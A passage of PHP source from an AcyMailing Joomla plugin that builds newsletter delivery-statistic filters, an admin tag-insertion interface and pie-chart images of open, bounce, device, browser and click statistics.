		$triggers['opennews'] = acymailing_translation('ON_OPEN_NEWS');
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($context != "massactions" AND !$this->params->get('displayfilter_'.$context, false)) return;

		$type['deliverstat'] = acymailing_translation('STATISTICS');

		$db = JFactory::getDBO();
		$db->setQuery("SELECT `mailid`,CONCAT(`subject`,' [',".$db->Quote(acymailing_translation('ACY_ID').' ').", CAST(`mailid` AS char),']') as 'value' FROM `#__acymailing_mail` WHERE `type` IN('news','welcome','unsub','followup','notification','joomlanotification') ORDER BY `senddate` DESC LIMIT 5000");
		$allemails = $db->loadObjectList();
		$element = new stdClass();
		$element->mailid = 0;
		$element->value = acymailing_translation('EMAIL_NAME');
		array_unshift($allemails, $element);

		$actions = array();
		$actions[] = acymailing_selectOption('open', acymailing_translation('OPEN'));
		$actions[] = acymailing_selectOption('notopen', acymailing_translation('NOT_OPEN'));
		$actions[] = acymailing_selectOption('failed', acymailing_translation('FAILED'));
		if(acymailing_level(3)) $actions[] = acymailing_selectOption('bounce', acymailing_translation('BOUNCES'));
		$actions[] = acymailing_selectOption('htmlsent', acymailing_translation('SENT_HTML'));
		$actions[] = acymailing_selectOption('textsent', acymailing_translation('SENT_TEXT'));
		$actions[] = acymailing_selectOption('notsent', acymailing_translation('NOT_SENT'));

		$return = '<div id="filter__num__deliverstat">'.acymailing_select($actions, "filter[__num__][deliverstat][action]", 'class="inputbox" onchange="countresults(__num__)" size="1"', 'value', 'text');
		$return .= ' '.acymailing_select($allemails, "filter[__num__][deliverstat][mailid]", 'onchange="countresults(__num__)" class="inputbox" size="1" style="max-width:200px"', 'mailid', 'value').'</div>';

		return $return;
	}

	function onAcyProcessFilterCount_deliverstat(&$query, $filter, $num){
		$this->onAcyProcessFilter_deliverstat($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_deliverstat(&$query, $filter, $num){
		$alias = 'stats'.$num;
		$jl = '#__acymailing_userstats AS '.$alias.' ON '.$alias.'.subid = sub.subid';
		if(!empty($filter['mailid'])) $jl .= ' AND '.$alias.'.mailid = '.intval($filter['mailid']);

		$query->leftjoin[$alias] = $jl;

		if($filter['action'] == 'open'){
			$where = $alias.'.open > 0';
		}elseif($filter['action'] == 'notopen'){
			$where = $alias.'.open = 0';
		}elseif($filter['action'] == 'failed'){
			$where = $alias.'.fail = 1';
		}elseif($filter['action'] == 'bounce'){
			$where = $alias.'.bounce = 1';
		}elseif($filter['action'] == 'htmlsent'){
			$where = $alias.'.html = 1';
		}elseif($filter['action'] == 'textsent'){
			$where = $alias.'.html = 0';
		}elseif($filter['action'] == 'notsent'){
			$where = $alias.'.subid IS NULL';
		}

		$query->where[] = $where;
	}

	function acymailing_getPluginType(){
		$onePlugin = new stdClass();
		$onePlugin->name = 'Statistics';
		$onePlugin->function = 'acymailing_stats_show';
		$onePlugin->help = 'plugin-stats';
		return $onePlugin;
	}

	function acymailing_stats_show(){
		if(!function_exists('imageCreateTrueColor')){
			acymailing_display('The "php_gd2" extension is not enabled on your server, you will have to ask your host to enable it');
			return;
		}

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.stats';

		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.mailid', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$pageInfo->filter_list = acymailing_getUserVar($paramBase.".filter_list", 'filter_list', '', 'int');
		$pageInfo->filter_type = acymailing_getUserVar($paramBase.".filter_type", 'filter_type', '', 'int');
		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');
		$pageInfo->contentfilter = acymailing_getUserVar($paramBase.".contentfilter", 'contentfilter', 'new', 'string');
		$pageInfo->contentorder = acymailing_getUserVar($paramBase.".contentorder", 'contentorder', 'id', 'string');
		$pageInfo->contentorderdir = acymailing_getUserVar($paramBase.".contentorderdir", 'contentorderdir', 'DESC', 'string');
		$pageInfo->cols = acymailing_getUserVar($paramBase.".cols", 'cols', '1', 'string');

		$query = 'SELECT SQL_CALC_FOUND_ROWS a.*, GROUP_CONCAT(c.name SEPARATOR ", ") AS listname, u.name AS username
					FROM '.acymailing_table('mail').' AS a 
					JOIN '.acymailing_table('listmail').' AS b ON a.mailid = b.mailid 
					JOIN '.acymailing_table('list').' AS c ON b.listid = c.listid 
					JOIN '.acymailing_table('users', false).' AS u ON a.userid = u.id ';

		$searchFields = array('a.mailid', 'a.subject', 'u.name');

		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchFields)." LIKE ".$searchVal;
		}
		$filters[] = 'a.type = "news"';
		$filters[] = 'a.senddate IS NOT NULL';

		if(!acymailing_isAdmin()){
			$listClass = acymailing_get('class.list');
			$this->lists = $listClass->getFrontendLists();
			if(empty($this->lists)) return;

			$this->listids = array();
			foreach($this->lists as $oneList) {
				$this->listids[] = $oneList->listid;
			}
			$filters[] = 'c.listid IN ('.implode(',', $this->listids).')';
		}

		if(!empty($pageInfo->filter_list)) $filters[] = 'b.listid = '.intval($pageInfo->filter_list);
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (', $filters).')';

		$query .= ' GROUP BY a.mailid ';

		if(!empty($pageInfo->filter->order->value)) $query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;

		$this->db->setQuery($query, $pageInfo->limit->start, $pageInfo->limit->value);
		$rows = $this->db->loadObjectList();

		if(!empty($pageInfo->search)) $rows = acymailing_search($pageInfo->search, $rows);

		$this->db->setQuery('SELECT FOUND_ROWS()');
		$pageInfo->elements->total = $this->db->loadResult();
		$pageInfo->elements->page = count($rows);

		jimport('joomla.html.pagination');
		$pagination = new JPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$type = acymailing_getVar('string', 'type');

		$listFilter = $this->_categories($pageInfo->filter_list);
		?>
		<script language="javascript" type="text/javascript">
			<!--
			var selectedContents = [];
			function applyContent(contentid, rowClass){
				var tmp = selectedContents.indexOf(contentid);
				if(tmp != -1){
					window.document.getElementById('content' + contentid).className = rowClass;
					delete selectedContents[tmp];
				}else{
					window.document.getElementById('content' + contentid).className = 'selectedrow';
					selectedContents.push(contentid);
				}
				updateTag();
			}

			function updateTag(){
				var tag = '';
				var otherinfo = '';
				var tmp = 0;

				<?php
				?>
				for(var i = 0; i < document.adminForm.cbdisplay.length; i++){
					if(!document.adminForm.cbdisplay[i].checked) continue;
					if(tmp == 0){
						tmp += 1;
						otherinfo += "| display:" + document.adminForm.cbdisplay[i].value;
					}else{
						otherinfo += ", " + document.adminForm.cbdisplay[i].value;
					}
				}

				for(var key in selectedContents){
					if(selectedContents.hasOwnProperty(key) && selectedContents[key] && !isNaN(key)){
						tag = tag + '{acystats:' + selectedContents[key] + otherinfo + '}<br />';
					}
				}
				setTag(tag);
			}

			var selectedCat = [];
			function applyAuto(catid, rowClass){
				if(catid == 'all'){
					<?php
					$listids = array();
					foreach($this->catvalues as $oneCat) {
						if (empty($oneCat->value)) continue;
						$listids[] = $oneCat->value;
					}
					echo 'var listids = ['.implode(',', $listids).'];';
					?>

					if(window.document.getElementById('catall').className == 'selectedrow'){
						window.document.getElementById('catall').className = "row0";
						rowClass = "row0";
					}else{
						window.document.getElementById('catall').className = "selectedrow";
						rowClass = "selectedrow";
					}

					listids.forEach(function(listid) {
						window.document.getElementById('cat' + listid).className = rowClass;
						if(rowClass == "row0") {
							delete selectedCat[listid];
						}else{
							selectedCat[listid] = 'selectedone';
						}
					});
				}else{
					window.document.getElementById('catall').className = 'row0';
					if(selectedCat[catid]){
						window.document.getElementById('cat' + catid).className = rowClass;
						delete selectedCat[catid];
					}else{
						window.document.getElementById('cat' + catid).className = 'selectedrow';
						selectedCat[catid] = 'selectedone';
					}
				}
				updateTagAuto();
			}

			function updateTagAuto(){
				var otherinfo = '';
				var tmp = 0;

				var tagselect = document.adminForm.tagselect;
				for (i = 0; i < tagselect.length; i++) {
					if(tagselect[i].value == '') continue;
					if(tmp == 0){
						tmp += 1;
						otherinfo += "| tags:" + tagselect[i].value;
					}else{
						otherinfo += "," + tagselect[i].value;
					}
				}
				tmp = 0;

				for(var i = 0; i < document.adminForm.cbdisplayauto.length; i++){
					if(!document.adminForm.cbdisplayauto[i].checked) continue;
					if(tmp == 0){
						tmp += 1;
						otherinfo += "| display:" + document.adminForm.cbdisplayauto[i].value;
					}else{
						otherinfo += ", " + document.adminForm.cbdisplayauto[i].value;
					}
				}

				if(document.adminForm.max_article.value){
					otherinfo += "| max:" + document.adminForm.max_article.value;
				}

				if(document.adminForm.contentorder.value){
					otherinfo += "| order:" + document.adminForm.contentorder.value + "," + document.adminForm.contentorderdir.value;
				}

				<?php if($type == 'autonews'){ ?>
				if(document.adminForm.min_article.value){
					otherinfo += "| min:" + document.adminForm.min_article.value;
				}

				if(document.adminForm.contentfilter && document.adminForm.contentfilter.value){
					otherinfo += "| filter:" + document.adminForm.contentfilter.value;
				}

				if(document.adminForm.delay && document.adminForm.delay.value){
					otherinfo += "| delay:" + document.adminForm.delay.value;
				}
				<?php } ?>
				var tag = '{autoacystats:';

				var lists = '';
				for(var icat in selectedCat){
					if(selectedCat.hasOwnProperty(icat) && selectedCat[icat] == 'selectedone'){
						lists += icat + '-';
					}
				}

				if(lists.length == 0){
					setTag('');
					return;
				}

				tag += lists + otherinfo + '}<br />';

				setTag(tag);
			}
			//-->
		</script>
		<?php
		$fieldsDisplay = array();
		$fieldsDisplay[] = array('title' => 'sent', 'label' => 'ACY_SENT', 'checked' => '');
		$fieldsDisplay[] = array('title' => 'status', 'label' => 'STATUS', 'checked' => 'yes');
		$fieldsDisplay[] = array('title' => 'devices', 'label' => 'ACY_STAT_MOBILE_USAGE', 'checked' => 'yes');
		$fieldsDisplay[] = array('title' => 'browsers', 'label' => 'ACY_STAT_BROWSER', 'checked' => '');
		$fieldsDisplay[] = array('title' => 'clicks', 'label' => 'CLICKED_LINK', 'checked' => 'yes');

		$tabs = acymailing_get('helper.acytabs');
		echo $tabs->startPane('stats_tab');
		echo $tabs->startPanel(acymailing_translation('NEWSLETTERS'), 'stats_listings');
		?>
		<br style="font-size:1px"/>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td nowrap="nowrap"><?php echo acymailing_translation('ACY_GRAPHS'); ?></td>
					<?php
					$i = 1;
					foreach($fieldsDisplay as $oneField){
						if($i == 4){
							echo '</tr><tr><td/>';
							$i = 1;
						}
						echo '<td nowrap="nowrap"><input type="checkbox" name="cbdisplay" value="'.$oneField['title'].'" id="'.$oneField['title'].'" '.(($oneField['checked'] == 'yes') ? 'checked' : '').' onclick="updateTag();"/><label style="margin-left:5px" for="'.$oneField['title'].'">'.trim(acymailing_translation($oneField['label']), ':').'</label></td>';
						$i++;
					}
					while($i != 4){
						echo '<td/>';
						$i++;
					}
					?>
				</tr>
			</table>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table_options">
				<tr>
					<td nowrap="nowrap" width="100%">
						<input placeholder="<?php echo acymailing_translation('ACY_SEARCH'); ?>" type="text" name="search" id="acymailingsearch" value="<?php echo $pageInfo->search; ?>" class="text_area" onchange="document.adminForm.submit();"/>
						<button class="acymailing_button" onclick="this.form.submit();"><?php echo acymailing_translation('JOOMEXT_GO'); ?></button>
						<button class="acymailing_button" onclick="document.getElementById('acymailingsearch').value='';this.form.submit();"><?php echo acymailing_translation('JOOMEXT_RESET'); ?></button>
					</td>
					<td nowrap="nowrap">
						<?php echo $listFilter; ?>
					</td>
				</tr>
			</table>
			<table class="acymailing_table" cellpadding="1" width="100%">
				<thead>
				<tr>
					<th></th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'a.subject', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_AUTHOR'), 'u.name', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('LISTS'), 'b.listid', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.mailid', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
				</tr>
				</thead>
				<tfoot>
				<tr>
					<td colspan="5">
						<?php
						echo $pagination->getListFooter();
						if(ACYMAILING_J30){
							$paginationNb = array();
							foreach(array(5, 10, 15, 20, 25, 30, 50, 100) as $oneOption){
								$paginationNb[] = acymailing_selectOption($oneOption, $oneOption);
							}
							$paginationNb[] = acymailing_selectOption(0, acymailing_translation('ACY_ALL'));
							echo 'Display #'.acymailing_select($paginationNb, 'limit', 'size="1" style="width:60px" onchange="Joomla.submitform();"', 'value', 'text', $pageInfo->limit->value).'<br />';
						}
						echo $pagination->getResultsCounter();
						?>
					</td>
				</tr>
				</tfoot>
				<tbody>
				<?php
				$k = 0;
				if(!empty($rows)){
					foreach($rows as $row){
						$row->subject = Emoji::Decode($row->subject);
						?>
						<tr id="content<?php echo $row->mailid; ?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->mailid.",'row$k'" ?>);" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td style="text-align:center;">
								<?php echo strlen($row->subject) > 200 ? substr($row->subject, 0, 200).'...' : $row->subject; ?>
							</td>
							<td style="text-align:center;">
								<?php echo $row->username; ?>
							</td>
							<td style="text-align:center;">
								<?php echo strlen($row->listname) > 150 ? substr($row->listname, 0, 150).'...' : $row->listname; ?>
							</td>
							<td style="text-align:center;">
								<?php echo $row->mailid; ?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
					}
				}
				?>
				</tbody>
			</table>
		</div>
		<input type="hidden" name="boxchecked" value="0"/>
		<input type="hidden" name="filter_order" value="<?php echo $pageInfo->filter->order->value; ?>"/>
		<input type="hidden" name="filter_order_Dir" value="<?php echo $pageInfo->filter->order->dir; ?>"/>

		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(acymailing_translation('ACY_PER_LIST'), 'stats_auto');
		?>

		<br style="font-size:1px"/>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<?php
					?>
					<td nowrap="nowrap"><?php echo acymailing_translation('ACY_GRAPHS'); ?></td>
					<?php
					$i = 1;
					foreach($fieldsDisplay as $oneField){
						if($i == 4){
							echo '</tr><tr><td/>';
							$i = 1;
						}
						echo '<td nowrap="nowrap"><input type="checkbox" name="cbdisplayauto" value="'.$oneField['title'].'" id="'.$oneField['title'].'auto" '.(($oneField['checked'] == 'yes') ? 'checked' : '').' onclick="updateTagAuto();"/><label style="margin-left:5px" for="'.$oneField['title'].'auto">'.trim(acymailing_translation($oneField['label']), ':').'</label></td>';
						$i++;
					}
					while($i != 4){
						echo '<td/>';
						$i++;
					}
					?>
				</tr>
				<tr>
					<td nowrap="nowrap">
						<label for="max_article"><?php echo acymailing_translation('TAGS'); ?></label>
					</td>
					<td nowrap="nowrap" colspan="3">
						<?php $tagfieldtype = acymailing_get('type.tagfield');
						$tagfieldtype->onclick = 'updateTagAuto();';
						echo $tagfieldtype->display('tagselect', 'tags'); ?>
					</td>
				</tr>
				<tr>
					<td nowrap="nowrap">
						<label for="max_article"><?php echo acymailing_translation('ACY_MAX_NEWSLETTERS'); ?></label>
					</td>
					<td nowrap="nowrap">
						<input type="text" id="max_article" name="max_article" style="width:50px" value="20" onchange="updateTagAuto();"/>
					</td>
					<td nowrap="nowrap">
						<?php echo acymailing_translation('ACY_ORDER'); ?>
					</td>
					<td nowrap="nowrap">
						<?php
						$values = array('mailid' => 'ACY_ID', 'senddate' => 'SEND_DATE', 'subject' => 'JOOMEXT_SUBJECT');
						echo $this->acypluginsHelper->getOrderingField($values, $pageInfo->contentorder, $pageInfo->contentorderdir);
						?>
					</td>
				</tr>
				<?php if($type == 'autonews'){ ?>
					<tr>
						<td nowrap="nowrap">
							<label for="min_article"><?php echo acymailing_translation('ACY_MIN_NEWSLETTERS'); ?></label>
						</td nowrap="nowrap">
						<td nowrap="nowrap">
							<input type="text" id="min_article" name="min_article" style="width:50px" value="1" onchange="updateTagAuto();"/>
						</td>
						<td nowrap="nowrap">
							<?php echo acymailing_translation('JOOMEXT_FILTER'); ?>
						</td>
						<td nowrap="nowrap">
							<?php
							$choice = array();
							$choice[] = acymailing_selectOption("", acymailing_translation('ACY_ALL'));
							$choice[] = acymailing_selectOption("new", acymailing_translation('ACY_NEWLY_SENT'));

							echo acymailing_select($choice, 'contentfilter' , 'size="1" onchange="updateTagAuto();" style="max-width:200px;"', 'value', 'text', $pageInfo->contentfilter);
							?>
						</td>
					</tr>
					<tr>
						<td nowrap="nowrap" colspan="4">
							<?php echo acymailing_translation_sprintf('ACY_SENT_MORE_THAN', '<input type="text" name="delay" style="width:30px" value="3" onchange="updateTagAuto();"/>'); ?>
						</td>
					</tr>
				<?php } ?>
			</table>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table" cellpadding="1" width="100%">
				<tr id="catall" class="<?php echo "row0"; ?>" onclick="applyAuto('all','<?php echo "row0" ?>');" style="cursor:pointer;">
					<td class="acytdcheckbox"></td>
					<td><?php echo acymailing_translation('ACY_ALL'); ?></td>
				</tr>
				<?php
				if(!empty($this->catvalues)){
					foreach($this->catvalues as $oneCat){
						if(empty($oneCat->value)) continue;
						?>
						<tr id="cat<?php echo $oneCat->value ?>" class="<?php echo "row0"; ?>" onclick="applyAuto(<?php echo $oneCat->value ?>,'<?php echo "row0" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td>
								<?php
								echo $oneCat->text;
								?>
							</td>
						</tr>
						<?php
					}
				}
				?>
			</table>
		</div>
		<?php
		echo $tabs->endPanel();
		echo $tabs->endPane();
	}

	private function _categories($filter_list){
		if(empty($this->lists)) {
			$listClass = acymailing_get('class.list');
			$rows = $listClass->getLists();
		}else {
			$rows = $this->lists;
		}

		$this->catvalues = array();
		$this->catvalues[] = acymailing_selectOption(0, acymailing_translation('ALL_LISTS'));

		foreach($rows as $oneList){
			$this->catvalues[] = acymailing_selectOption($oneList->listid, $oneList->name);
		}

		return acymailing_select($this->catvalues, 'filter_list', 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', intval($filter_list));
	}

	private function _replaceAutoCharts(&$email){
		$this->acymailing_generateautonews($email);
		if(empty($this->tags)) return;
		$this->acypluginsHelper->replaceTags($email, $this->tags, true);
	}

	function acymailing_generateautonews(&$email){
		$tags = $this->acypluginsHelper->extractTags($email, 'autoacystats');
		$return = new stdClass();
		$return->status = true;
		$return->message = '';

		if(empty($tags)) return $return;

		foreach($tags as $oneTag => $parameter){
			if(isset($this->tags[$oneTag])) continue;
			if(empty($parameter->id)){
				$this->tags[$oneTag] = '';
				continue;
			}

			$allcats = explode('-', $parameter->id);
			$selectedArea = array();
			foreach($allcats as $oneCat){
				if(empty($oneCat)) continue;
				$selectedArea[] = intval($oneCat);
			}

			$query = 'SELECT DISTINCT a.mailid FROM '.acymailing_table('mail').' AS a ';

			$where = array();
			$where[] = 'a.type = "news"';
			$where[] = 'a.senddate IS NOT NULL';

			if(!empty($selectedArea)){
				$query .= 'JOIN '.acymailing_table('listmail').' AS b ON a.mailid = b.mailid ';
				$where[] = 'b.listid IN ('.implode(',', $selectedArea).')';
			}

			if(!empty($parameter->tags)){
				$selectedtags = explode(',', $parameter->tags);
				acymailing_arrayToInteger($selectedtags);

				$query .= 'JOIN '.acymailing_table('tagmail').' AS tm ON a.mailid = tm.mailid ';
				$where[] = 'tm.tagid IN ('.implode(',', $selectedtags).')';
			}

			if(!empty($parameter->filter) && !empty($email->params['lastgenerateddate'])){
				$where[] = 'a.senddate > \''.intval($email->params['lastgenerateddate']).'\'';
			}

			if(!empty($parameter->delay)){
				$where[] = 'a.senddate < \''.intval(time()-$parameter->delay*86400).'\'';
			}

			if(!empty($where)) $query .= ' WHERE ('.implode(') AND (', $where).')';

			if(!empty($parameter->order)){
				$ordering = explode(',', $parameter->order);
				if($ordering[0] == 'rand'){
					$query .= ' ORDER BY rand()';
				}else{
					$query .= ' ORDER BY a.'.acymailing_secureField(trim($ordering[0])).' '.acymailing_secureField(trim($ordering[1]));
				}
			}

			$start = '';
			if(!empty($parameter->start)) $start = intval($parameter->start).',';
			if(empty($parameter->max)) $parameter->max = 20;
			$query .= ' LIMIT '.$start.intval($parameter->max);


			$this->db->setQuery($query);
			$allArticles = acymailing_loadResultArray($this->db);

			if(!empty($parameter->min) && count($allArticles) < $parameter->min){
				$return->status = false;
				$return->message = 'Not enough statistics for the tag '.$oneTag.' : '.count($allArticles).' / '.$parameter->min;
			}

			$stringTag = '';
			if(!empty($allArticles)){
				if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'autoacystats.php')){
					ob_start();
					require(ACYMAILING_MEDIA.'plugins'.DS.'autoacystats.php');
					$stringTag = ob_get_clean();
				}else{
					$arrayElements = array();
					unset($parameter->id);
					$numArticle = 1;
					foreach($allArticles as $oneArticleId){
						$numArticle++;
						$args = array();
						$args[] = 'acystats:'.$oneArticleId;
						foreach($parameter as $oneParam => $val){
							$args[] = $oneParam.':'.$val;
						}
						$arrayElements[] = '{'.implode('|', $args).'}';
					}
					$stringTag = $this->acypluginsHelper->getFormattedResult($arrayElements, $parameter);
				}
			}
			$this->tags[$oneTag] = $stringTag;
		}
		return $return;
	}

	private function _replaceOneCharts(&$email){
		$tags = $this->acypluginsHelper->extractTags($email, 'acystats');
		if(empty($tags)) return;

		require_once(ACYMAILING_INC.'phpImg'.DS.'library.php');


		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			if(isset($tagsReplaced[$i])) continue;
			$tagsReplaced[$i] = $this->_chartImages($oneTag);
		}

		$this->acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	function _chartImages($tag){
		if(empty($tag->display)) return '';

		$tag->display = explode(',', $tag->display);
		foreach($tag->display as $i => $oneDisplay){
			$oneDisplay = trim($oneDisplay);
			$tag->$oneDisplay = true;
		}

		$this->db->setQuery('SELECT s.*, m.subject FROM '.acymailing_table('stats').' AS s JOIN '.acymailing_table('mail').' AS m ON s.mailid = m.mailid WHERE m.mailid = '.intval($tag->id));
		$newsStats = $this->db->loadObject();

		if(empty($newsStats)){
			if(acymailing_isAdmin()) acymailing_enqueueMessage('There are no statistics for the newsletter n°'.$tag->id, 'notice');
			return '';
		}

		$colors = array(
			array(154, 195, 248, 1), //blue
			array(200, 230, 134, 1), // green
			array(230, 110, 101, 1), // red
			array(174, 148, 210, 1), // purple
			array(249, 167, 87, 1), // orange
			array(46, 187, 180, 1), // green
			array(255, 133, 203, 1), // pink
			array(255, 208, 65, 1), // yellow
			array(99, 140, 166, 1) // blue-grey
		);

		$varFields = array();
		foreach($newsStats as $fieldName => $oneField){
			$varFields['{'.$fieldName.'}'] = $oneField;
		}

		$result = '';
		$charts = array();
		$day = date('Y_m_d');

		if(!empty($tag->sent)){
			$oneChart = new stdClass();
			$oneChart->title = acymailing_translation('ACY_SENT');

			$values = array('SENT_HTML' => $newsStats->senthtml, 'SENT_TEXT' => $newsStats->senttext);
			asort($values);
			$values = array_reverse($values);

			$filename = intval($tag->id).'_sent_'.$day.'.png';
			if(file_exists(ACYMAILING_MEDIA.'statistic_charts'.DS.$filename)) {
				$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}else{
				$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
				if($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}

			$oneChart->legend = $values;
			if(!empty($oneChart->chart)) $charts[] = $oneChart;
		}

		if(!empty($tag->status)){
			$oneChart = new stdClass();
			$oneChart->title = acymailing_translation('STATUS');

			$values = array(
				'OPEN_UNIQUE' => $newsStats->openunique - $newsStats->unsub,
				'NOT_OPEN' => $newsStats->senthtml + $newsStats->senttext - $newsStats->openunique - $newsStats->bounceunique - $newsStats->fail,
				'ACTION_BOUNCE' => $newsStats->bounceunique,
				'FAILED' => $newsStats->fail,
				'UNSUBSCRIBED' => $newsStats->unsub
			);
			asort($values);
			$values = array_reverse($values);

			$filename = intval($tag->id).'_status_'.$day.'.png';
			if(file_exists(ACYMAILING_MEDIA.'statistic_charts'.DS.$filename)) {
				$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}else{
				$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
				if($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
			}

			$oneChart->legend = $values;
			if(!empty($oneChart->chart)) $charts[] = $oneChart;
		}

		if(!empty($tag->devices)){
			$this->db->setQuery('SELECT COUNT(*) as nbMobile, is_mobile FROM '.acymailing_table('userstats').' WHERE is_mobile IS NOT NULL AND mailid = '.intval($tag->id).' GROUP BY is_mobile');
			$ismobilestats = $this->db->loadObjectList('is_mobile');

			if(!empty($ismobilestats)) {
				$oneChart = new stdClass();
				$oneChart->title = acymailing_translation('ACY_STAT_MOBILE_USAGE');

				$valNoMob = empty($ismobilestats[0]) ? 0 : intval($ismobilestats[0]->nbMobile);
				$valMob = empty($ismobilestats[1]) ? 0 : intval($ismobilestats[1]->nbMobile);

				$values = array(
					'ACY_STAT_NOMOBILE' => $valNoMob,
					'ACY_STAT_MOBILE' => $valMob
				);
				asort($values);
				$values = array_reverse($values);

				$filename = intval($tag->id) . '_devices_' . $day . '.png';
				if (file_exists(ACYMAILING_MEDIA . 'statistic_charts' . DS . $filename)) {
					$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				} else {
					$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
					if ($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				}

				$oneChart->legend = $values;
				if (!empty($oneChart->chart)) $charts[] = $oneChart;
			}


			$this->db->setQuery('SELECT COUNT(mobile_os) as nbOS, mobile_os FROM ' . acymailing_table('userstats') . ' WHERE mobile_os IS NOT NULL AND mobile_os <> \'\' AND mailid = ' . intval($tag->id) . ' GROUP BY mobile_os ORDER BY nbOS DESC');
			$mobileosstats = $this->db->loadObjectList('nbOS');

			if (!empty($mobileosstats)) {
				$oneChart = new stdClass();
				$oneChart->title = acymailing_translation('ACY_STAT_MOBILE_USAGE');

				$values = array();
				foreach($mobileosstats as $oneStat){
					$values[$oneStat->mobile_os] = $oneStat->nbOS;
				}
				asort($values);
				$values = array_reverse($values);

				$filename = intval($tag->id) . '_mobile_os_' . $day . '.png';
				if (file_exists(ACYMAILING_MEDIA . 'statistic_charts' . DS . $filename)) {
					$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				} else {
					$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
					if ($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				}

				$oneChart->legend = $values;
				if (!empty($oneChart->chart)) $charts[] = $oneChart;
			}
		}

		if(!empty($tag->browsers)){
			$this->db->setQuery('SELECT COUNT(browser) as nbBrowser, browser FROM '.acymailing_table('userstats').' WHERE browser IS NOT NULL AND mailid = '.intval($tag->id).' GROUP BY browser ORDER BY nbBrowser DESC');
			$browserstats = $this->db->loadObjectList('nbBrowser');

			if(!empty($browserstats)) {
				$oneChart = new stdClass();
				$oneChart->title = acymailing_translation('ACY_STAT_BROWSER');

				$values = array();
				foreach($browserstats as $oneStat){
					$values[$oneStat->browser] = $oneStat->nbBrowser;
				}
				asort($values);
				$values = array_reverse($values);

				$filename = intval($tag->id) . '_browsers_' . $day . '.png';
				if (file_exists(ACYMAILING_MEDIA . 'statistic_charts' . DS . $filename)) {
					$oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				} else {
					$created = piechartToImage($filename, 200, 200, array_values($values), $colors);
					if ($created) $oneChart->chart = '<img src="' . ACYMAILING_LIVE . 'media/com_acymailing/statistic_charts/' . $filename . '"/>';
				}

				$oneChart->legend = $values;
				if (!empty($oneChart->chart)) $charts[] = $oneChart;
			}
		}

		if(!empty($tag->clicks)){
			$this->db->setQuery('SELECT COUNT(DISTINCT subid) as nbClick FROM '.acymailing_table('urlclick').' WHERE mailid = '.intval($tag->id));
			$clicked = $this->db->loadResult();

			$oneChart = new stdClass();
			$oneChart->title = acymailing_translation('CLICK_STATISTICS');

			$values = array('CLICKED_LINK' => $clicked, 'ACY_NOT_CLICK' => $newsStats->senthtml + $newsStats->senttext - $clicked);
			asort($values);
			$values = array_reverse($values);

